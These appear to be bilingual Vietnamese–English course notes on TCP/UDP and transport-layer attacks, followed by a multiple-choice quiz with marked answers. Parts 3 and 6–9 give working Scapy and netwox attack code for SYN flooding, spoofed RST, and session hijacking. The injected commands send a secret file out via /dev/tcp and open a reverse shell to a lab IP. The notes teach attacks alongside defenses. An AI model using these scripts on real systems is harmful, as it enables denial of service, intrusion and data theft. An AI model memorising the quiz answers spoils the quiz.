CHƯƠNG 9: TRANSPORT LAYER AND ATTACKS

PHẦN 1: TRANSPORT LAYER - KHÁI NIỆM CƠ BẢN

1. VAI TRÒ & CHỨC NĂNG

Transport layer provides:

  • Logical communication between application processes running on different hosts

Transport protocols actions:

Sender:

  • Breaks application messages into segments
  • Passes to network layer

Receiver:

  • Reassembles segments into messages
  • Passes to application layer

Hai protocols chính:

  • TCP (Transmission Control Protocol)
  • UDP (User Datagram Protocol)

2. PORT NUMBERS

Phân loại:

Well-known ports: 0 - 1023

  • FTP: 20, 21
  • SSH: 22
  • Telnet: 23
  • SMTP: 25
  • DNS: 53
  • HTTP: 80
  • HTTPS: 443
  • Requires super-user privilege

Less well-known ports: 1024 - 49151

  • OpenVPN: 1194
  • Microsoft SQL: 1433
  • Docker: 2375-2377

Private/Dynamic ports: 49152 - 65535

  • Source ports (ephemeral ports)

3. TCP VS UDP

Đặc điểmTCPUDP
ConnectionConnection-orientedConnectionless
Packet BoundaryStream-basedMaintain boundary
Reliability✅ Reliable❌ Unreliable
Ordering✅ Ordered❌ Unordered
Speed🐢 Slower🐇 Faster
Broadcast❌ No✅ Yes

PHẦN 2: UDP PROTOCOL

1. UDP SEGMENT HEADER

Cấu trúc (8 bytes):

[Source Port (16 bits) | Dest Port (16 bits)]
[Length (16 bits) | Checksum (16 bits)]
[Data (Payload)]

Fields:

  • Source Port: Sender’s port
  • Dest Port: Receiver’s port
  • Length: UDP segment length in bytes (including header)
  • Checksum: Error detection (optional in IPv4)

2. UDP APPLICATIONS

Use cases:

  • DNS Protocol
  • Video/Audio Streaming: Skype, Zoom
    • Note: Netflix, YouTube dùng TCP (not UDP) - why? Vì cần reliability cho quality
  • Real-Time Applications
  • VPN Tunnel: OpenVPN

Question: UDP không preserve order và không handle packet loss. Nếu application care về điều này, có thể dùng UDP không?

Answer: CÓ! Application có thể tự implement reliability và ordering ở application layer (VD: QUIC protocol)

3. SENDING/RECEIVING UDP PACKETS

Python + Scapy:

UDP Client:

from scapy.all import *

ip = IP(dst="10.9.0.5")
udp = UDP(sport=12345, dport=9090)
data = Raw(load="Hello UDP")
send(ip/udp/data)

UDP Server:

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 9090))

while True:
    data, addr = sock.recvfrom(1024)
    print(f"Received from {addr}: {data}")

PHẦN 3: UDP ATTACKS

1. UDP PING-PONG ATTACK

Idea:

  • Một số services/applications reply no matter what input (VD: error messages)
  • Set source và destination ports đều là vulnerable ports

Vulnerable ports:

  • Daytime (port 13)
  • Time (port 37)

Attack scenario:

Server A (port 13) ←→ Server B (port 37)

Spoof packet:

  • Source: IP_A, port 13
  • Destination: IP_B, port 37

Kết quả:

  • Server B replies to A:13
  • Server A thinks it’s a new request → replies to B:37
  • Ping-Pong effect → loop vô tận!

Triggering code:

# Both servers open vulnerable ports
# Trigger ping-pong by spoofing

ip = IP(src="server_A_IP", dst="server_B_IP")
udp = UDP(sport=13, dport=37)  # Daytime → Time
data = Raw(load="trigger")
send(ip/udp/data)

# Server B replies to A:13
# Server A thinks new request → replies to B:37
# INFINITE LOOP!

Question: Both servers open same ports nhưng không có ping-pong. Làm sao trigger?

Answer: Spoof packet với src = A:vulnerable_port, dst = B:vulnerable_port

2. UDP AMPLIFICATION ATTACK

Idea:

  • Applications reply with LARGE packets to SMALL requests
  • Use forged source IP → victim overwhelmed

Examples:

  • Games: BattleField 1942, Quake, Unreal Tournament
  • DNS: Small query (60 bytes) → Large response (>3000 bytes)
  • NTP: Small request → Large monlist response

Amplification Ratio:

  • Ratio giữa response size và request size
  • DNS: 28x - 54x
  • NTP: 556x
  • CharGEN: 358x

Attack flow:

Attacker → Small request (spoofed src = Victim)
         → Server replies with LARGE response
         → Victim overwhelmed!

Bandwidth Amplification Factor:

  • Higher ratio = More effective attack
  • Attacker uses minimal bandwidth
  • Victim receives massive traffic

Bottom line: “The more complicated a protocol is, the more sophisticated attack that you can create”

PHẦN 4: TCP PROTOCOL

1. TCP OVERVIEW

Transmission Control Protocol (TCP):

  • Core protocol của Internet protocol suite
  • Sits on top of IP layer (Transport layer)
  • Provide host-to-host communication for applications

The Need for TCP:

  • Providing Virtual Connection
  • Maintaining Order
  • Reliability
  • Flow Control

2. TCP CLIENT PROGRAM

Steps:

import socket

# Step 1: Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # TCP

# Step 2: Connect to server (initiate TCP connection)
sock.connect(("server_ip", 9090))

# Step 3: Send data
sock.send(b"Hello TCP")

# Step 4: Receive data
data = sock.recv(1024)

# Step 5: Close
sock.close()

3. TCP SERVER PROGRAM

Steps:

Step 1: Create socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Step 2: Bind to port

sock.bind(("0.0.0.0", 9090))
  • Application needs register port number
  • OS knows which application receives based on port
  • bind() tells OS which port to use

Step 3: Listen for connections

sock.listen(5)  # Queue size = 5
  • Tell system ready to receive connection requests
  • OS performs 3-way handshake
  • Established connections placed in queue
  • Queue size = 5: max 5 connections waiting

Step 4: Accept connection

newsock, addr = sock.accept()
  • Extracts first connection from queue
  • Creates new socket for this connection
  • Returns new socket file descriptor

Step 5: Send/Receive data

data = newsock.recv(1024)
newsock.send(b"Response")

4. IMPROVED TCP SERVER (MULTIPLE CONNECTIONS)

Using fork():

import os

while True:
    newsock, addr = sock.accept()
    
    pid = os.fork()  # Create child process
    
    if pid == 0:  # Child process
        sock.close()  # Close listening socket in child
        # Handle client communication
        newsock.send(b"Hello")
        newsock.close()
        exit(0)
    else:  # Parent process
        newsock.close()  # Close client socket in parent
        # Continue accepting new connections

fork() system call:

  • Creates new process by duplicating calling process
  • Returns child PID in parent, 0 in child

5. TCP DATA TRANSMISSION

Send/Receive Buffers:

  • OS allocates two buffers at each end:
    • Send buffer
    • Receive buffer

Send process:

  1. Application places data into send buffer
  2. TCP adds sequence number to each octet
  3. Data transmitted with sequence numbers
  4. Receiver uses sequence numbers to place data correctly in receive buffer

Receive process:

  1. Data placed in receive buffer based on sequence numbers
  2. Data merged into single stream
  3. Application reads from receive buffer
  4. If no data → blocked, unblocked when enough data

Acknowledgement:

  • Receiver informs sender about receiving using ACK packets

Question: If two programs on same machine send to same TCP server, would server mix their data?

Answer:

  • TCP: NO - Different connections (different source ports) → separate receive buffers
  • UDP: YES - No connection concept → same socket, data mixed

6. TCP MULTIPLEXING/DEMULTIPLEXING

Connection-oriented (TCP):

  • Demultiplex based on 4-tuple: (src IP, src port, dst IP, dst port)
  • Different source IPs/ports → different sockets
  • Example: 3 clients to same server port 80 → 3 separate connections

Connectionless (UDP):

  • Demultiplex based on 2-tuple: (dst IP, dst port)
  • Same destination → same socket
  • All clients to same UDP port → same receive buffer

7. TCP HEADER

Cấu trúc (20-60 bytes):

[Source Port (16) | Dest Port (16)]
[Sequence Number (32)]
[Acknowledgement Number (32)]
[Header Len (4) | Reserved (6) | Flags (6) | Window (16)]
[Checksum (16) | Urgent Pointer (16)]
[Options (0-320 bits, divisible by 32)]
[Data]

Fields quan trọng:

Source/Dest Port (16 bits each):

  • Port numbers của sender và receiver

Sequence Number (32 bits):

  • Sequence number của octet đầu tiên trong segment
  • Nếu SYN bit set → Initial Sequence Number (ISN)

Acknowledgement Number (32 bits):

  • Next sequence number expected by sender
  • Valid chỉ khi ACK bit set

Header Length (4 bits):

  • Length measured in 32-bit words
  • Multiply by 4 → number of octets
  • Min = 5 (20 bytes), Max = 15 (60 bytes)

Reserved (6 bits):

  • Not used

Flags/Code Bits (6 bits):

  • URG: Urgent data
  • ACK: Acknowledgement valid
  • PSH: Push function
  • RST: Reset connection
  • SYN: Synchronize sequence numbers
  • FIN: No more data from sender

Window (16 bits):

  • Window advertisement
  • Number of octets sender willing to accept
  • Purpose: Flow control

Checksum (16 bits):

  • Calculated using: part of IP header + TCP header + TCP data

Urgent Pointer (16 bits):

  • If URG set: where urgent data ends
  • Urgent data delivered immediately (priority)

Options (0-320 bits):

  • Variable length
  • Deal with limitations of original header

PHẦN 5: TCP 3-WAY HANDSHAKE

QUY TRÌNH

Step 1: SYN Packet (Client → Server)

Client generates random number x
Sends: SYN, seq=x

Step 2: SYN-ACK Packet (Server → Client)

Server generates random number y
Sends: SYN+ACK, seq=y, ack=x+1

Step 3: ACK Packet (Client → Server)

Client sends: ACK, seq=x+1, ack=y+1
Connection ESTABLISHED!

TCB (TRANSMISSION CONTROL BLOCK)

When server receives SYN:

  • Creates TCB to store connection info
  • Half-open connection (only client→server confirmed)
  • TCB stored in queue for half-open connections

When server receives ACK:

  • Takes TCB out of queue
  • Stores in different place
  • Connection fully established

If ACK doesn’t arrive:

  • Server resends SYN+ACK
  • TCB eventually discarded after timeout

PHẦN 6: SYN FLOODING ATTACK

1. ATTACK IDEA

Goal: Fill the queue storing half-open connections

  • No space for new TCB
  • Server cannot accept new SYN packets

Steps:

  1. Continuously send many SYN packets
  2. Do NOT complete 3rd handshake step (don’t send ACK)
  3. TCB records stay in queue
  4. Queue fills up → Denial of Service

2. ATTACK DETAILS

Important:

  • Use random source IP addresses
  • Otherwise firewall may block

SYN+ACK packets sent by server:

  • May be dropped (forged IP không tồn tại)
  • If reaches existing machine → RST sent, TCB dequeued
  • Most likely dropped → TCB stays in queue

3. LAUNCH ATTACK

Check TCP states trước attack:

netstat -nat | grep SYN_RECV
# Should see few or no SYN_RECV connections

TCP States:

  • LISTEN: Waiting for TCP connection
  • ESTABLISHED: Completed 3-way handshake
  • SYN_RECV: Half-open connections

Turn off SYN Cookie countermeasure:

sudo sysctl -w net.ipv4.tcp_syncookies=0

Using netwox:

# Target telnet server (port 23)
sudo netwox 76 -i 10.102.20.178 -p 23 -s raw

Using C code:

// Spoof SYN packets with random source IPs
for (int i = 0; i < 10000; i++) {
    ip.ip_src.s_addr = random_ip();
    tcp.th_flags = TH_SYN;
    send_packet();
}

Using Scapy:

from scapy.all import *

target_ip = "10.9.0.5"
target_port = 23

for i in range(10000):
    # Random source IP
    src_ip = ".".join(map(str, (random.randint(1,254) for _ in range(4))))
    
    ip = IP(src=src_ip, dst=target_ip)
    tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
    send(ip/tcp, verbose=0)

4. RESULTS

Using netstat:

netstat -nat | grep SYN_RECV
# Many half-open connections với random source IPs

Observation:

  • Server alive, CPU usage NOT high
  • Can perform other functions normally
  • CANNOT accept telnet connections (port 23 flooded)

TCP RESET packets?

  • If SYN+ACK reaches existing machine
  • Machine sends RST (not expecting SYN+ACK)
  • TCB dequeued

5. COUNTERMEASURE: SYN COOKIES

Idea: Don’t store half-open connections!

How it works:

Step 1: Server receives SYN

  • Calculates keyed hash (H) from packet info using secret key
  • H called SYN cookie
  • Sends H as Initial Sequence Number in SYN+ACK
  • Does NOT store TCB in queue

Step 2: If client is attacker

  • H won’t reach attacker (forged IP)

Step 3: If client is legitimate

  • Sends H+1 in ACK acknowledgement field

Step 4: Server validates

  • Recalculates cookie from ACK packet
  • Checks if acknowledgement field = expected value
  • If valid → creates connection

Enable SYN Cookies:

sudo sysctl -w net.ipv4.tcp_syncookies=1

Homework: Find out SYN cookies work in detail (Wikipedia)

PHẦN 7: TCP RESET ATTACK

1. HOW TO CLOSE TCP CONNECTIONS

Normal way (FIN):

  1. A sends FIN to B
  2. B replies with ACK (closes A→B)
  3. B sends FIN to A
  4. A replies with ACK (closes B→A)

Using RESET flag:

  • One party sends RST packet
  • Immediately breaks connection
  • Don’t need to wait for ACK

2. TCP RESET ATTACK

Goal: Break up TCP connection between A and B

Spoofed RST Packet must have correct:

  • Source IP address
  • Source Port
  • Destination IP address
  • Destination Port
  • Sequence number (within receiver’s window)

3. CAPTURE TCP CONNECTION DATA

Using Wireshark:

  1. Sniff traffic on attacker machine
  2. Retrieve:
    • Destination port (VD: 23 for telnet)
    • Source port number
    • Sequence number

How to get sequence number?

  • Manual: Read from Wireshark
  • Automatic: Use Scapy sniffing + callback

4. TCP RESET ATTACK ON TELNET

Code:

from scapy.all import *

# From captured data
src_ip = "10.9.0.5"  # Client
src_port = 46712
dst_ip = "10.9.0.6"  # Server
dst_port = 23  # Telnet
seq = 3920351374  # From Wireshark

# Spoof RST packet
ip = IP(src=src_ip, dst=dst_ip)
tcp = TCP(sport=src_port, dport=dst_port, flags="R", seq=seq)
send(ip/tcp)

# Connection RESET!

Result:

  • Telnet connection immediately closed
  • Client shows “Connection closed by foreign host”

5. TCP RESET ON SSH CONNECTIONS

Observation:

  • SSH encrypts at Transport layer
  • TCP header remains UNENCRYPTED
  • Attack STILL SUCCESSFUL (only header needed for RST)

Note:

  • If encryption done at Network layer (IPsec)
  • Entire TCP packet encrypted → attack IMPOSSIBLE

6. TCP RESET ON VIDEO STREAMING

Using netwox tool:

# Reset EACH packet from user machine
sudo netwox 78 --filter "src host 10.0.2.18"

Characteristics:

  • Sequence numbers increase very fast (unlike telnet)
  • Need to continuously send RST packets

Warning:

  • Continuous RST packets suspicious
  • May trigger punitive actions

PHẦN 8: TCP SESSION HIJACKING

1. ATTACK GOAL

Goal: Inject data into established connection

Spoofed TCP Packet must have correct:

  • Source IP, Source Port
  • Destination IP, Destination Port
  • Sequence number (within receiver’s window)

2. SEQUENCE NUMBER IMPORTANCE

If receiver received data up to x:

  • Next expected sequence = x+1

If spoofed packet uses x+δ:

  • Packet is out of order
  • Data stored at position x+δ in buffer
  • Leaves δ empty spaces (no effect initially)
  • If δ large → may fall out of boundary

Key: Must use CORRECT next sequence number

3. HIJACKING TELNET CONNECTION

Steps:

1. User establishes telnet connection

2. Sniff traffic with Wireshark:

  • Get destination port: 23
  • Get source port: 46712
  • Get Next Sequence Number

3. Inject command:

Without Next Seq#:

# May not work correctly
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=46712, dport=23, flags="A", seq=old_seq)
data = Raw(load="\rls -l\r")
send(ip/tcp/data)

With correct Next Seq#:

# Works perfectly!
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=46712, dport=23, flags="A", seq=next_seq)
data = Raw(load="\rls -l\r")
send(ip/tcp/data)

4. WHAT COMMAND TO RUN?

Problem với “cat secret”:

  • Output displayed on server’s machine
  • NOT on attacker’s machine

Solution: Redirect output!

cat secret > /dev/tcp/10.0.2.16/9090

Explanation:

  • /dev/tcp/IP/PORT is pseudo device
  • Creates TCP connection to attacker
  • Sends data via connection

Attacker listens:

nc -lv 9090
# Receives secret file content!

5. SESSION HIJACKING: STEAL A SECRET

Attack flow:

1. Attacker starts TCP server:

nc -lv 9090

2. Hijack and inject command:

ip = IP(src=client_ip, dst=server_ip)
tcp = TCP(sport=client_port, dport=23, flags="A", seq=next_seq)
cmd = "\rcat secret > /dev/tcp/10.0.2.16/9090\r"
send(ip/tcp/Raw(load=cmd))

3. Attacker receives secret!

What happens to session?

  • Client freezes (can’t type)
  • Both user and server entered deadlock
  • Connection unusable

PHẦN 9: REVERSE SHELL

1. KHÁI NIỆM

Reverse Shell:

  • Shell process running on remote machine
  • Connecting BACK to attacker
  • Attacker controls input/output

Why “Reverse”?

  • Normal shell: Attacker → Server
  • Reverse shell: Server → Attacker

Use case:

  • Best command after hijacking
  • Very common technique in hacking

2. FILE DESCRIPTORS & STANDARD I/O

File Descriptor Table:

  • 0: stdin (standard input)
  • 1: stdout (standard output)
  • 2: stderr (standard error)

Symbols:

  • >: write/redirect
  • <: read
  • &: redirect file descriptor

3. REVERSE SHELL COMMAND

Full command:

/bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1

Breakdown:

Part 1: /bin/bash -i

  • -i: Interactive shell
  • Shell should be interactive

Part 2: > /dev/tcp/10.0.2.70/9090

  • Redirects stdout (fd 1) to TCP connection
  • Output device của shell → TCP connection

Part 3: 0<&1

  • 0<&1: Redirect stdin (fd 0) FROM stdout (fd 1)
  • Since stdout already redirected to TCP
  • This means: Shell gets input from same TCP connection

Part 4: 2>&1

  • 2>&1: Redirect stderr (fd 2) to stdout (fd 1)
  • Errors also sent to TCP connection

Result:

  • Shell’s input: TCP connection
  • Shell’s output: TCP connection
  • Shell’s errors: TCP connection
  • Complete interactive shell via TCP!

4. TCP HIJACKING WITH REVERSE SHELL

Attacker machine:

# Start listener
nc -lv 9090

Hijack and inject reverse shell:

from scapy.all import *

ip = IP(src=client_ip, dst=server_ip)
tcp = TCP(sport=client_port, dport=23, flags="A", seq=next_seq)
cmd = "\r/bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1\r"
send(ip/tcp/Raw(load=cmd))

Attacker now has shell!

# Can run ANY command on server
whoami
ls -la
cat /etc/passwd

Successful!

PHẦN 10: DEFENDING AGAINST ATTACKS

1. MAKING SPOOFING DIFFICULT

Randomization:

A. Randomize Source Port (16 bits):

  • Ephemeral ports: 49152-65535
  • 2^16 = 65,536 possibilities

B. Randomize Initial Sequence Number (32 bits):

  • 2^32 = 4,294,967,296 possibilities

Combined:

  • 2^48 total possibilities to guess!

Note: Not effective against local attacks (attacker can sniff)

2. ENCRYPTING PAYLOAD

Solution:

  • Attackers need to know how data is encrypted
  • Need encryption key

Examples:

  • SSH: Encrypted at Transport layer (TCP header NOT encrypted)
  • IPsec: Encrypted at Network layer (entire packet encrypted)
  • TLS/SSL: Encrypted at Application layer

Bottom line: “Encryption is one of the fundamental solutions to many attacks on the Internet”

NGÂN HÀNG CÂU HỎI CHƯƠNG 9

PHẦN 1: TRANSPORT LAYER BASICS

Câu 1: Transport layer provide gì?

A. Physical connection

B. Logical communication between application processes on different hosts ✓

C. MAC addressing

D. Routing

Câu 2: Transport layer sender làm gì?

A. Routes packets

B. Breaks application messages into segments, passes to network layer ✓

C. Encrypts data

D. Compresses data

Câu 3: Transport layer receiver làm gì?

A. Routes segments

B. Reassembles segments into messages, passes to application layer ✓

C. Decrypts only

D. Forwards packets

Câu 4: Hai transport protocols chính?

A. HTTP và FTP

B. TCP và UDP ✓

C. IP và ICMP

D. ARP và DNS

Câu 5: Well-known ports là range nào?

A. 0 - 1023 ✓

B. 1024 - 49151

C. 49152 - 65535

D. 0 - 65535

Câu 6: HTTP sử dụng port nào?

A. 22

B. 443

C. 80 ✓

D. 8080

Câu 7: HTTPS sử dụng port nào?

A. 80

B. 443 ✓

C. 8443

D. 22

Câu 8: SSH sử dụng port nào?

A. 21

B. 22 ✓

C. 23

D. 80

Câu 9: Telnet sử dụng port nào?

A. 22

B. 23 ✓

C. 80

D. 443

Câu 10: DNS sử dụng port nào?

A. 80

B. 53 ✓

C. 443

D. 22

Câu 11: Private/Dynamic ports là range nào?

A. 0 - 1023

B. 1024 - 49151

C. 49152 - 65535 ✓

D. 1024 - 65535

Câu 12: Well-known ports requires gì?

A. User privilege

B. Super-user privilege ✓

C. No privilege

D. Application permission

PHẦN 2: TCP VS UDP

Câu 13: TCP là loại connection gì?

A. Connectionless

B. Connection-oriented ✓

C. Stateless

D. Broadcast

Câu 14: UDP là loại connection gì?

A. Connection-oriented

B. Connectionless ✓

C. Stateful

D. Reliable

Câu 15: TCP có reliable không?

A. No

B. Yes ✓

C. Sometimes

D. Depends

Câu 16: UDP có reliable không?

A. Yes

B. No ✓

C. Always

D. Depends

Câu 17: TCP có maintain ordering không?

A. No

B. Yes ✓

C. Sometimes

D. Depends

Câu 18: UDP có maintain ordering không?

A. Yes

B. No ✓

C. Always

D. Depends

Câu 19: Loại nào nhanh hơn?

A. TCP

B. UDP ✓

C. Giống nhau

D. Depends on network

Câu 20: Loại nào hỗ trợ broadcast?

A. TCP

B. UDP ✓

C. Both

D. Neither

Câu 21: TCP là stream-based nghĩa là gì?

A. Sends one byte at a time

B. No packet boundaries, continuous stream ✓

C. Broadcasts data

D. Lossy transmission

Câu 22: UDP maintain packet boundary nghĩa là gì?

A. Loses packets

B. Each send = one packet received (if no loss) ✓

C. Streams data

D. Reorders packets

PHẦN 3: UDP

Câu 23: UDP header size?

A. 4 bytes

B. 8 bytes ✓

C. 20 bytes

D. 60 bytes

Câu 24: UDP header gồm những fields nào?

A. Chỉ ports

B. Source Port, Dest Port, Length, Checksum ✓

C. Chỉ length

D. Như TCP

Câu 25: UDP Length field đo gì?

A. Chỉ header

B. Chỉ data

C. UDP segment length (including header) in bytes ✓

D. Chỉ payload

Câu 26: UDP Checksum có bắt buộc không?

A. Always required

B. Optional in IPv4 ✓

C. Never used

D. Required in UDP only

Câu 27: DNS sử dụng protocol nào?

A. TCP only

B. UDP (primary), TCP for large responses ✓

C. HTTP

D. ICMP